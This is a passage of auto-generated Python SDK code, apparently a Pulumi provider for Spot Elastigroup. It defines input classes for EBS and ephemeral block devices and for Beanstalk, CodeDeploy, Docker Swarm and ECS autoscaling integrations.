pulumi.Input[str]: """ The name of the device to mount. """ return pulumi.get(self, "device_name") @device_name.setter def device_name(self, value: pulumi.Input[str]): pulumi.set(self, "device_name", value) @property @pulumi.getter(name="deleteOnTermination") def delete_on_termination(self) -> Optional[pulumi.Input[bool]]: """ Whether the volume should be destroyed on instance termination. """ return pulumi.get(self, "delete_on_termination") @delete_on_termination.setter def delete_on_termination(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "delete_on_termination", value) @property @pulumi.getter def encrypted(self) -> Optional[pulumi.Input[bool]]: """ Enables [EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) on the volume. """ return pulumi.get(self, "encrypted") @encrypted.setter def encrypted(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "encrypted", value) @property @pulumi.getter def iops(self) -> Optional[pulumi.Input[int]]: """ The amount of provisioned [IOPS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-io-characteristics.html). This must be set with a `volume_type` of `"io1"`. """ return pulumi.get(self, "iops") @iops.setter def iops(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "iops", value) @property @pulumi.getter(name="kmsKeyId") def kms_key_id(self) -> Optional[pulumi.Input[str]]: """ ID for a user managed CMK under which the EBS Volume is encrypted """ return pulumi.get(self, "kms_key_id") @kms_key_id.setter def kms_key_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "kms_key_id", value) @property @pulumi.getter(name="snapshotId") def snapshot_id(self) -> Optional[pulumi.Input[str]]: """ The Snapshot ID to mount. """ return pulumi.get(self, "snapshot_id") @snapshot_id.setter def snapshot_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "snapshot_id", value) @property @pulumi.getter def throughput(self) -> Optional[pulumi.Input[int]]: """ The amount of data transferred to or from a storage device per second, you can use this param just in a case that `volume_type` = gp3. """ return pulumi.get(self, "throughput") @throughput.setter def throughput(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "throughput", value) @property @pulumi.getter(name="volumeSize") def volume_size(self) -> Optional[pulumi.Input[int]]: """ The size of the volume in gigabytes. """ return pulumi.get(self, "volume_size") @volume_size.setter def volume_size(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "volume_size", value) @property @pulumi.getter(name="volumeType") def volume_type(self) -> Optional[pulumi.Input[str]]: """ The type of volume. Can be `"standard"`, `"gp2"`, `"io1"`, `"st1"` or `"sc1"`. """ return pulumi.get(self, "volume_type") @volume_type.setter def volume_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "volume_type", value) @pulumi.input_type class ElastigroupEphemeralBlockDeviceArgs: def __init__(__self__, *, device_name: pulumi.Input[str], virtual_name: pulumi.Input[str]): """ :param pulumi.Input[str] device_name: The name of the block device to mount on the instance. :param pulumi.Input[str] virtual_name: The [Instance Store Device Name](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/InstanceStorage.html#InstanceStoreDeviceNames) (e.g. `"ephemeral0"`). """ pulumi.set(__self__, "device_name", device_name) pulumi.set(__self__, "virtual_name", virtual_name) @property @pulumi.getter(name="deviceName") def device_name(self) -> pulumi.Input[str]: """ The name of the block device to mount on the instance. """ return pulumi.get(self, "device_name") @device_name.setter def device_name(self, value: pulumi.Input[str]): pulumi.set(self, "device_name", value) @property @pulumi.getter(name="virtualName") def virtual_name(self) -> pulumi.Input[str]: """ The [Instance Store Device Name](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/InstanceStorage.html#InstanceStoreDeviceNames) (e.g. `"ephemeral0"`). """ return pulumi.get(self, "virtual_name") @virtual_name.setter def virtual_name(self, value: pulumi.Input[str]): pulumi.set(self, "virtual_name", value) @pulumi.input_type class ElastigroupInstanceTypesWeightArgs: def __init__(__self__, *, instance_type: pulumi.Input[str], weight: pulumi.Input[int]): """ :param pulumi.Input[str] instance_type: Name of instance type (String). :param pulumi.Input[int] weight: Weight per instance type (Integer). """ pulumi.set(__self__, "instance_type", instance_type) pulumi.set(__self__, "weight", weight) @property @pulumi.getter(name="instanceType") def instance_type(self) -> pulumi.Input[str]: """ Name of instance type (String). """ return pulumi.get(self, "instance_type") @instance_type.setter def instance_type(self, value: pulumi.Input[str]): pulumi.set(self, "instance_type", value) @property @pulumi.getter def weight(self) -> pulumi.Input[int]: """ Weight per instance type (Integer). """ return pulumi.get(self, "weight") @weight.setter def weight(self, value: pulumi.Input[int]): pulumi.set(self, "weight", value) @pulumi.input_type class ElastigroupIntegrationBeanstalkArgs: def __init__(__self__, *, deployment_preferences: Optional[pulumi.Input['ElastigroupIntegrationBeanstalkDeploymentPreferencesArgs']] = None, environment_id: Optional[pulumi.Input[str]] = None, managed_actions: Optional[pulumi.Input['ElastigroupIntegrationBeanstalkManagedActionsArgs']] = None): """ :param pulumi.Input['ElastigroupIntegrationBeanstalkDeploymentPreferencesArgs'] deployment_preferences: Preferences when performing a roll :param pulumi.Input['ElastigroupIntegrationBeanstalkManagedActionsArgs'] managed_actions: Managed Actions parameters """ if deployment_preferences is not None: pulumi.set(__self__, "deployment_preferences", deployment_preferences) if environment_id is not None: pulumi.set(__self__, "environment_id", environment_id) if managed_actions is not None: pulumi.set(__self__, "managed_actions", managed_actions) @property @pulumi.getter(name="deploymentPreferences") def deployment_preferences(self) -> Optional[pulumi.Input['ElastigroupIntegrationBeanstalkDeploymentPreferencesArgs']]: """ Preferences when performing a roll """ return pulumi.get(self, "deployment_preferences") @deployment_preferences.setter def deployment_preferences(self, value: Optional[pulumi.Input['ElastigroupIntegrationBeanstalkDeploymentPreferencesArgs']]): pulumi.set(self, "deployment_preferences", value) @property @pulumi.getter(name="environmentId") def environment_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "environment_id") @environment_id.setter def environment_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "environment_id", value) @property @pulumi.getter(name="managedActions") def managed_actions(self) -> Optional[pulumi.Input['ElastigroupIntegrationBeanstalkManagedActionsArgs']]: """ Managed Actions parameters """ return pulumi.get(self, "managed_actions") @managed_actions.setter def managed_actions(self, value: Optional[pulumi.Input['ElastigroupIntegrationBeanstalkManagedActionsArgs']]): pulumi.set(self, "managed_actions", value) @pulumi.input_type class ElastigroupIntegrationBeanstalkDeploymentPreferencesArgs: def __init__(__self__, *, automatic_roll: Optional[pulumi.Input[bool]] = None, batch_size_percentage: Optional[pulumi.Input[int]] = None, grace_period: Optional[pulumi.Input[int]] = None, strategy: Optional[pulumi.Input['ElastigroupIntegrationBeanstalkDeploymentPreferencesStrategyArgs']] = None): """ :param pulumi.Input[bool] automatic_roll: Should roll perform automatically :param pulumi.Input[int] batch_size_percentage: Sets the percentage of the instances to deploy in each batch. :param pulumi.Input[int] grace_period: Sets the grace period for new instances to become healthy. :param pulumi.Input['ElastigroupIntegrationBeanstalkDeploymentPreferencesStrategyArgs'] strategy: Strategy parameters """ if automatic_roll is not None: pulumi.set(__self__, "automatic_roll", automatic_roll) if batch_size_percentage is not None: pulumi.set(__self__, "batch_size_percentage", batch_size_percentage) if grace_period is not None: pulumi.set(__self__, "grace_period", grace_period) if strategy is not None: pulumi.set(__self__, "strategy", strategy) @property @pulumi.getter(name="automaticRoll") def automatic_roll(self) -> Optional[pulumi.Input[bool]]: """ Should roll perform automatically """ return pulumi.get(self, "automatic_roll") @automatic_roll.setter def automatic_roll(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "automatic_roll", value) @property @pulumi.getter(name="batchSizePercentage") def batch_size_percentage(self) -> Optional[pulumi.Input[int]]: """ Sets the percentage of the instances to deploy in each batch. """ return pulumi.get(self, "batch_size_percentage") @batch_size_percentage.setter def batch_size_percentage(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "batch_size_percentage", value) @property @pulumi.getter(name="gracePeriod") def grace_period(self) -> Optional[pulumi.Input[int]]: """ Sets the grace period for new instances to become healthy. """ return pulumi.get(self, "grace_period") @grace_period.setter def grace_period(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "grace_period", value) @property @pulumi.getter def strategy(self) -> Optional[pulumi.Input['ElastigroupIntegrationBeanstalkDeploymentPreferencesStrategyArgs']]: """ Strategy parameters """ return pulumi.get(self, "strategy") @strategy.setter def strategy(self, value: Optional[pulumi.Input['ElastigroupIntegrationBeanstalkDeploymentPreferencesStrategyArgs']]): pulumi.set(self, "strategy", value) @pulumi.input_type class ElastigroupIntegrationBeanstalkDeploymentPreferencesStrategyArgs: def __init__(__self__, *, action: Optional[pulumi.Input[str]] = None, should_drain_instances: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[str] action: Action to take. Valid values: `REPLACE_SERVER`, `RESTART_SERVER`. :param pulumi.Input[bool] should_drain_instances: Specify whether to drain incoming TCP connections before terminating a server. """ if action is not None: pulumi.set(__self__, "action", action) if should_drain_instances is not None: pulumi.set(__self__, "should_drain_instances", should_drain_instances) @property @pulumi.getter def action(self) -> Optional[pulumi.Input[str]]: """ Action to take. Valid values: `REPLACE_SERVER`, `RESTART_SERVER`. """ return pulumi.get(self, "action") @action.setter def action(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "action", value) @property @pulumi.getter(name="shouldDrainInstances") def should_drain_instances(self) -> Optional[pulumi.Input[bool]]: """ Specify whether to drain incoming TCP connections before terminating a server. """ return pulumi.get(self, "should_drain_instances") @should_drain_instances.setter def should_drain_instances(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_drain_instances", value) @pulumi.input_type class ElastigroupIntegrationBeanstalkManagedActionsArgs: def __init__(__self__, *, platform_update: Optional[pulumi.Input['ElastigroupIntegrationBeanstalkManagedActionsPlatformUpdateArgs']] = None): """ :param pulumi.Input['ElastigroupIntegrationBeanstalkManagedActionsPlatformUpdateArgs'] platform_update: Platform Update parameters """ if platform_update is not None: pulumi.set(__self__, "platform_update", platform_update) @property @pulumi.getter(name="platformUpdate") def platform_update(self) -> Optional[pulumi.Input['ElastigroupIntegrationBeanstalkManagedActionsPlatformUpdateArgs']]: """ Platform Update parameters """ return pulumi.get(self, "platform_update") @platform_update.setter def platform_update(self, value: Optional[pulumi.Input['ElastigroupIntegrationBeanstalkManagedActionsPlatformUpdateArgs']]): pulumi.set(self, "platform_update", value) @pulumi.input_type class ElastigroupIntegrationBeanstalkManagedActionsPlatformUpdateArgs: def __init__(__self__, *, perform_at: Optional[pulumi.Input[str]] = None, time_window: Optional[pulumi.Input[str]] = None, update_level: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] perform_at: Actions to perform (options: timeWindow, never) :param pulumi.Input[str] time_window: Time Window for when action occurs ex. Mon:23:50-Tue:00:20 :param pulumi.Input[str] update_level: - Level to update """ if perform_at is not None: pulumi.set(__self__, "perform_at", perform_at) if time_window is not None: pulumi.set(__self__, "time_window", time_window) if update_level is not None: pulumi.set(__self__, "update_level", update_level) @property @pulumi.getter(name="performAt") def perform_at(self) -> Optional[pulumi.Input[str]]: """ Actions to perform (options: timeWindow, never) """ return pulumi.get(self, "perform_at") @perform_at.setter def perform_at(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "perform_at", value) @property @pulumi.getter(name="timeWindow") def time_window(self) -> Optional[pulumi.Input[str]]: """ Time Window for when action occurs ex. Mon:23:50-Tue:00:20 """ return pulumi.get(self, "time_window") @time_window.setter def time_window(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "time_window", value) @property @pulumi.getter(name="updateLevel") def update_level(self) -> Optional[pulumi.Input[str]]: """ - Level to update """ return pulumi.get(self, "update_level") @update_level.setter def update_level(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "update_level", value) @pulumi.input_type class ElastigroupIntegrationCodedeployArgs: def __init__(__self__, *, cleanup_on_failure: pulumi.Input[bool], deployment_groups: pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationCodedeployDeploymentGroupArgs']]], terminate_instance_on_failure: pulumi.Input[bool]): """ :param pulumi.Input[bool] cleanup_on_failure: Cleanup automatically after a failed deploy. :param pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationCodedeployDeploymentGroupArgs']]] deployment_groups: Specify the deployment groups details. :param pulumi.Input[bool] terminate_instance_on_failure: Terminate the instance automatically after a failed deploy. """ pulumi.set(__self__, "cleanup_on_failure", cleanup_on_failure) pulumi.set(__self__, "deployment_groups", deployment_groups) pulumi.set(__self__, "terminate_instance_on_failure", terminate_instance_on_failure) @property @pulumi.getter(name="cleanupOnFailure") def cleanup_on_failure(self) -> pulumi.Input[bool]: """ Cleanup automatically after a failed deploy. """ return pulumi.get(self, "cleanup_on_failure") @cleanup_on_failure.setter def cleanup_on_failure(self, value: pulumi.Input[bool]): pulumi.set(self, "cleanup_on_failure", value) @property @pulumi.getter(name="deploymentGroups") def deployment_groups(self) -> pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationCodedeployDeploymentGroupArgs']]]: """ Specify the deployment groups details. """ return pulumi.get(self, "deployment_groups") @deployment_groups.setter def deployment_groups(self, value: pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationCodedeployDeploymentGroupArgs']]]): pulumi.set(self, "deployment_groups", value) @property @pulumi.getter(name="terminateInstanceOnFailure") def terminate_instance_on_failure(self) -> pulumi.Input[bool]: """ Terminate the instance automatically after a failed deploy. """ return pulumi.get(self, "terminate_instance_on_failure") @terminate_instance_on_failure.setter def terminate_instance_on_failure(self, value: pulumi.Input[bool]): pulumi.set(self, "terminate_instance_on_failure", value) @pulumi.input_type class ElastigroupIntegrationCodedeployDeploymentGroupArgs: def __init__(__self__, *, application_name: pulumi.Input[str], deployment_group_name: pulumi.Input[str]): """ :param pulumi.Input[str] application_name: The application name. :param pulumi.Input[str] deployment_group_name: The deployment group name. """ pulumi.set(__self__, "application_name", application_name) pulumi.set(__self__, "deployment_group_name", deployment_group_name) @property @pulumi.getter(name="applicationName") def application_name(self) -> pulumi.Input[str]: """ The application name. """ return pulumi.get(self, "application_name") @application_name.setter def application_name(self, value: pulumi.Input[str]): pulumi.set(self, "application_name", value) @property @pulumi.getter(name="deploymentGroupName") def deployment_group_name(self) -> pulumi.Input[str]: """ The deployment group name. """ return pulumi.get(self, "deployment_group_name") @deployment_group_name.setter def deployment_group_name(self, value: pulumi.Input[str]): pulumi.set(self, "deployment_group_name", value) @pulumi.input_type class ElastigroupIntegrationDockerSwarmArgs: def __init__(__self__, *, master_host: pulumi.Input[str], master_port: pulumi.Input[int], autoscale_cooldown: Optional[pulumi.Input[int]] = None, autoscale_down: Optional[pulumi.Input['ElastigroupIntegrationDockerSwarmAutoscaleDownArgs']] = None, autoscale_headroom: Optional[pulumi.Input['ElastigroupIntegrationDockerSwarmAutoscaleHeadroomArgs']] = None, autoscale_is_enabled: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[str] master_host: The URL for the Nomad master host. :param pulumi.Input[int] master_port: The network port for the master host. :param pulumi.Input[int] autoscale_cooldown: The amount of time, in seconds, after a scaling activity completes before any further trigger-related scaling activities can start. :param pulumi.Input['ElastigroupIntegrationDockerSwarmAutoscaleDownArgs'] autoscale_down: Settings for scale down actions. :param pulumi.Input['ElastigroupIntegrationDockerSwarmAutoscaleHeadroomArgs'] autoscale_headroom: An option to set compute reserve for the cluster. :param pulumi.Input[bool] autoscale_is_enabled: Specifies whether the auto scaling feature is enabled. """ pulumi.set(__self__, "master_host", master_host) pulumi.set(__self__, "master_port", master_port) if autoscale_cooldown is not None: pulumi.set(__self__, "autoscale_cooldown", autoscale_cooldown) if autoscale_down is not None: pulumi.set(__self__, "autoscale_down", autoscale_down) if autoscale_headroom is not None: pulumi.set(__self__, "autoscale_headroom", autoscale_headroom) if autoscale_is_enabled is not None: pulumi.set(__self__, "autoscale_is_enabled", autoscale_is_enabled) @property @pulumi.getter(name="masterHost") def master_host(self) -> pulumi.Input[str]: """ The URL for the Nomad master host. """ return pulumi.get(self, "master_host") @master_host.setter def master_host(self, value: pulumi.Input[str]): pulumi.set(self, "master_host", value) @property @pulumi.getter(name="masterPort") def master_port(self) -> pulumi.Input[int]: """ The network port for the master host. """ return pulumi.get(self, "master_port") @master_port.setter def master_port(self, value: pulumi.Input[int]): pulumi.set(self, "master_port", value) @property @pulumi.getter(name="autoscaleCooldown") def autoscale_cooldown(self) -> Optional[pulumi.Input[int]]: """ The amount of time, in seconds, after a scaling activity completes before any further trigger-related scaling activities can start. """ return pulumi.get(self, "autoscale_cooldown") @autoscale_cooldown.setter def autoscale_cooldown(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "autoscale_cooldown", value) @property @pulumi.getter(name="autoscaleDown") def autoscale_down(self) -> Optional[pulumi.Input['ElastigroupIntegrationDockerSwarmAutoscaleDownArgs']]: """ Settings for scale down actions. """ return pulumi.get(self, "autoscale_down") @autoscale_down.setter def autoscale_down(self, value: Optional[pulumi.Input['ElastigroupIntegrationDockerSwarmAutoscaleDownArgs']]): pulumi.set(self, "autoscale_down", value) @property @pulumi.getter(name="autoscaleHeadroom") def autoscale_headroom(self) -> Optional[pulumi.Input['ElastigroupIntegrationDockerSwarmAutoscaleHeadroomArgs']]: """ An option to set compute reserve for the cluster. """ return pulumi.get(self, "autoscale_headroom") @autoscale_headroom.setter def autoscale_headroom(self, value: Optional[pulumi.Input['ElastigroupIntegrationDockerSwarmAutoscaleHeadroomArgs']]): pulumi.set(self, "autoscale_headroom", value) @property @pulumi.getter(name="autoscaleIsEnabled") def autoscale_is_enabled(self) -> Optional[pulumi.Input[bool]]: """ Specifies whether the auto scaling feature is enabled. """ return pulumi.get(self, "autoscale_is_enabled") @autoscale_is_enabled.setter def autoscale_is_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "autoscale_is_enabled", value) @pulumi.input_type class ElastigroupIntegrationDockerSwarmAutoscaleDownArgs: def __init__(__self__, *, evaluation_periods: Optional[pulumi.Input[int]] = None, max_scale_down_percentage: Optional[pulumi.Input[float]] = None): """ :param pulumi.Input[int] evaluation_periods: How many evaluation periods should accumulate before a scale down action takes place. :param pulumi.Input[float] max_scale_down_percentage: Would represent the maximum % to scale-down. Number between 1-100. Usage: """ if evaluation_periods is not None: pulumi.set(__self__, "evaluation_periods", evaluation_periods) if max_scale_down_percentage is not None: pulumi.set(__self__, "max_scale_down_percentage", max_scale_down_percentage) @property @pulumi.getter(name="evaluationPeriods") def evaluation_periods(self) -> Optional[pulumi.Input[int]]: """ How many evaluation periods should accumulate before a scale down action takes place. """ return pulumi.get(self, "evaluation_periods") @evaluation_periods.setter def evaluation_periods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "evaluation_periods", value) @property @pulumi.getter(name="maxScaleDownPercentage") def max_scale_down_percentage(self) -> Optional[pulumi.Input[float]]: """ Would represent the maximum % to scale-down. Number between 1-100. Usage: """ return pulumi.get(self, "max_scale_down_percentage") @max_scale_down_percentage.setter def max_scale_down_percentage(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "max_scale_down_percentage", value) @pulumi.input_type class ElastigroupIntegrationDockerSwarmAutoscaleHeadroomArgs: def __init__(__self__, *, cpu_per_unit: Optional[pulumi.Input[int]] = None, memory_per_unit: Optional[pulumi.Input[int]] = None, num_of_units: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] cpu_per_unit: How much CPU (MHz) to allocate for headroom unit. :param pulumi.Input[int] memory_per_unit: How much Memory allocate for headroom unit. :param pulumi.Input[int] num_of_units: How many units of headroom to allocate. """ if cpu_per_unit is not None: pulumi.set(__self__, "cpu_per_unit", cpu_per_unit) if memory_per_unit is not None: pulumi.set(__self__, "memory_per_unit", memory_per_unit) if num_of_units is not None: pulumi.set(__self__, "num_of_units", num_of_units) @property @pulumi.getter(name="cpuPerUnit") def cpu_per_unit(self) -> Optional[pulumi.Input[int]]: """ How much CPU (MHz) to allocate for headroom unit. """ return pulumi.get(self, "cpu_per_unit") @cpu_per_unit.setter def cpu_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cpu_per_unit", value) @property @pulumi.getter(name="memoryPerUnit") def memory_per_unit(self) -> Optional[pulumi.Input[int]]: """ How much Memory allocate for headroom unit. """ return pulumi.get(self, "memory_per_unit") @memory_per_unit.setter def memory_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "memory_per_unit", value) @property @pulumi.getter(name="numOfUnits") def num_of_units(self) -> Optional[pulumi.Input[int]]: """ How many units of headroom to allocate. """ return pulumi.get(self, "num_of_units") @num_of_units.setter def num_of_units(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "num_of_units", value) @pulumi.input_type class ElastigroupIntegrationEcsArgs: def __init__(__self__, *, cluster_name: pulumi.Input[str], autoscale_attributes: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationEcsAutoscaleAttributeArgs']]]] = None, autoscale_cooldown: Optional[pulumi.Input[int]] = None, autoscale_down: Optional[pulumi.Input['ElastigroupIntegrationEcsAutoscaleDownArgs']] = None, autoscale_headroom: Optional[pulumi.Input['ElastigroupIntegrationEcsAutoscaleHeadroomArgs']] = None, autoscale_is_auto_config: Optional[pulumi.Input[bool]] = None, autoscale_is_enabled: Optional[pulumi.Input[bool]] = None, autoscale_scale_down_non_service_tasks: Optional[pulumi.Input[bool]] = None, batch: Optional[pulumi.Input['ElastigroupIntegrationEcsBatchArgs']] = None): """ :param pulumi.Input[str] cluster_name: The name of the EC2 Container Service cluster. :param pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationEcsAutoscaleAttributeArgs']]] autoscale_attributes: A key/value mapping of tags to assign to the resource. :param pulumi.Input[int] autoscale_cooldown: The amount of time, in seconds, after a scaling activity completes before any further trigger-related scaling activities can start. :param pulumi.Input['ElastigroupIntegrationEcsAutoscaleDownArgs'] autoscale_down: Settings for scale down actions. :param pulumi.Input['ElastigroupIntegrationEcsAutoscaleHeadroomArgs'] autoscale_headroom: An option to set compute reserve for the cluster. :param pulumi.Input[bool] autoscale_is_auto_config: Enabling the automatic k8s auto-scaler functionality. For more information please see: [Kubernetes auto scaler](https://api.spotinst.com/integration-docs/elastigroup/container-management/kubernetes/autoscaler/). :param pulumi.Input[bool] autoscale_is_enabled: Specifies whether the auto scaling feature is enabled. :param pulumi.Input[bool] autoscale_scale_down_non_service_tasks: Determines whether to scale down non-service tasks. :param pulumi.Input['ElastigroupIntegrationEcsBatchArgs'] batch: Batch configuration object: """ pulumi.set(__self__, "cluster_name", cluster_name) if autoscale_attributes is not None: pulumi.set(__self__, "autoscale_attributes", autoscale_attributes) if autoscale_cooldown is not None: pulumi.set(__self__, "autoscale_cooldown", autoscale_cooldown) if autoscale_down is not None: pulumi.set(__self__, "autoscale_down", autoscale_down) if autoscale_headroom is not None: pulumi.set(__self__, "autoscale_headroom", autoscale_headroom) if autoscale_is_auto_config is not None: pulumi.set(__self__, "autoscale_is_auto_config", autoscale_is_auto_config) if autoscale_is_enabled is not None: pulumi.set(__self__, "autoscale_is_enabled", autoscale_is_enabled) if autoscale_scale_down_non_service_tasks is not None: pulumi.set(__self__, "autoscale_scale_down_non_service_tasks", autoscale_scale_down_non_service_tasks) if batch is not None: pulumi.set(__self__, "batch", batch) @property @pulumi.getter(name="clusterName") def cluster_name(self) -> pulumi.Input[str]: """ The name of the EC2 Container Service cluster. """ return pulumi.get(self, "cluster_name") @cluster_name.setter def cluster_name(self, value: pulumi.Input[str]): pulumi.set(self, "cluster_name", value) @property @pulumi.getter(name="autoscaleAttributes") def autoscale_attributes(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationEcsAutoscaleAttributeArgs']]]]: """ A key/value mapping of tags to assign to the resource. """ return pulumi.get(self, "autoscale_attributes") @autoscale_attributes.setter def autoscale_attributes(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationEcsAutoscaleAttributeArgs']]]]): pulumi.set(self, "autoscale_attributes", value) @property @pulumi.getter(name="autoscaleCooldown") def autoscale_cooldown(self) -> Optional[pulumi.Input[int]]: """ The amount of time, in seconds, after a scaling activity completes before any further trigger-related scaling activities can start. """ return pulumi.get(self, "autoscale_cooldown") @autoscale_cooldown.setter def autoscale_cooldown(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "autoscale_cooldown", value) @property @pulumi.getter(name="autoscaleDown") def autoscale_down(self) -> Optional[pulumi.Input['ElastigroupIntegrationEcsAutoscaleDownArgs']]: """ Settings for scale down actions. """ return pulumi.get(self, "autoscale_down") @autoscale_down.setter def autoscale_down(self, value: Optional[pulumi.Input['ElastigroupIntegrationEcsAutoscaleDownArgs']]): pulumi.set(self, "autoscale_down", value) @property @pulumi.getter(name="autoscaleHeadroom") def autoscale_headroom(self) -> Optional[pulumi.Input['ElastigroupIntegrationEcsAutoscaleHeadroomArgs']]: """ An option to set compute reserve for the cluster. """ return pulumi.get(self, "autoscale_headroom") @autoscale_headroom.setter def autoscale_headroom(self, value: Optional[pulumi.Input['ElastigroupIntegrationEcsAutoscaleHeadroomArgs']]): pulumi.set(self, "autoscale_headroom", value) @property @pulumi.getter(name="autoscaleIsAutoConfig") def autoscale_is_auto_config(self) -> Optional[pulumi.Input[bool]]: """ Enabling the automatic k8s auto-scaler functionality. For more information please see: [Kubernetes auto scaler](https://api.spotinst.com/integration-docs/elastigroup/container-management/kubernetes/autoscaler/). """ return pulumi.get(self, "autoscale_is_auto_config") @autoscale_is_auto_config.setter def autoscale_is_auto_config(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "autoscale_is_auto_config", value) @property @pulumi.getter(name="autoscaleIsEnabled") def autoscale_is_enabled(self) -> Optional[pulumi.Input[bool]]: """ Specifies whether the auto scaling feature is enabled. """ return pulumi.get(self, "autoscale_is_enabled") @autoscale_is_enabled.setter def autoscale_is_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "autoscale_is_enabled", value) @property @pulumi.getter(name="autoscaleScaleDownNonServiceTasks") def autoscale_scale_down_non_service_tasks(self) -> Optional[pulumi.Input[bool]]: """ Determines whether to scale down non-service tasks. """ return pulumi.get(self, "autoscale_scale_down_non_service_tasks") @autoscale_scale_down_non_service_tasks.setter def autoscale_scale_down_non_service_tasks(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "autoscale_scale_down_non_service_tasks", value) @property @pulumi.getter def batch(self) -> Optional[pulumi.Input['ElastigroupIntegrationEcsBatchArgs']]: """ Batch configuration object: """ return pulumi.get(self, "batch") @batch.setter def batch(self, value: Optional[pulumi.Input['ElastigroupIntegrationEcsBatchArgs']]): pulumi.set(self, "batch", value) @pulumi.input_type class ElastigroupIntegrationEcsAutoscaleAttributeArgs: def __init__(__self__, *, key: pulumi.Input[str], value: pulumi.Input[str]): """ :param pulumi.Input[str] value: The dimension value. """ pulumi.set(__self__, "key", key) pulumi.set(__self__, "value", value) @property @pulumi.getter def key(self) -> pulumi.Input[str]: return pulumi.get(self, "key") @key.setter def key(self, value: pulumi.Input[str]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> pulumi.Input[str]: """ The dimension value. """ return pulumi.get(self, "value") @value.setter def value(self, value: pulumi.Input[str]): pulumi.set(self, "value", value) @pulumi.input_type class ElastigroupIntegrationEcsAutoscaleDownArgs: def __init__(__self__, *, evaluation_periods: Optional[pulumi.Input[int]] = None, max_scale_down_percentage: Optional[pulumi.Input[float]] = None): """ :param pulumi.Input[int] evaluation_periods: How many evaluation periods should accumulate before a scale down action takes place. :param pulumi.Input[float] max_scale_down_percentage: Would represent the maximum % to scale-down. Number between 1-100. Usage: """ if evaluation_periods is not None: pulumi.set(__self__, "evaluation_periods", evaluation_periods) if max_scale_down_percentage is not None: pulumi.set(__self__, "max_scale_down_percentage", max_scale_down_percentage) @property @pulumi.getter(name="evaluationPeriods") def evaluation_periods(self) -> Optional[pulumi.Input[int]]: """ How many evaluation periods should accumulate before a scale down action takes place. """ return pulumi.get(self, "evaluation_periods") @evaluation_periods.setter def evaluation_periods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "evaluation_periods", value) @property @pulumi.getter(name="maxScaleDownPercentage") def max_scale_down_percentage(self) -> Optional[pulumi.Input[float]]: """ Would represent the maximum % to scale-down. Number between 1-100. Usage: """ return pulumi.get(self, "max_scale_down_percentage") @max_scale_down_percentage.setter def max_scale_down_percentage(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "max_scale_down_percentage", value) @pulumi.input_type class ElastigroupIntegrationEcsAutoscaleHeadroomArgs: def __init__(__self__, *, cpu_per_unit: Optional[pulumi.Input[int]] = None, memory_per_unit: Optional[pulumi.Input[int]] = None, num_of_units: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] cpu_per_unit: How much CPU (MHz) to allocate for headroom unit. :param pulumi.Input[int] memory_per_unit: How much Memory allocate for headroom unit. :param pulumi.Input[int] num_of_units: How many units of headroom to allocate. """ if cpu_per_unit is not None: pulumi.set(__self__, "cpu_per_unit", cpu_per_unit) if memory_per_unit is not None: pulumi.set(__self__, "memory_per_unit", memory_per_unit) if num_of_units is not None: pulumi.set(__self__, "num_of_units", num_of_units) @property @pulumi.getter(name="cpuPerUnit") def cpu_per_unit(self) -> Optional[pulumi.Input[int]]: """ How much CPU (MHz) to allocate for headroom unit. """ return pulumi.get(self, "cpu_per_unit") @cpu_per_unit.setter def cpu_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cpu_per_unit", value) @property @pulumi.getter(name="memoryPerUnit") def memory_per_unit(self) -> Optional[pulumi.Input[int]]: """ How much Memory allocate for headroom unit. """ return pulumi.get(self, "memory_per_unit") @memory_per_unit.setter def memory_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "memory_per_unit", value) @property @pulumi.getter(name="numOfUnits") def num_of_units(self) -> 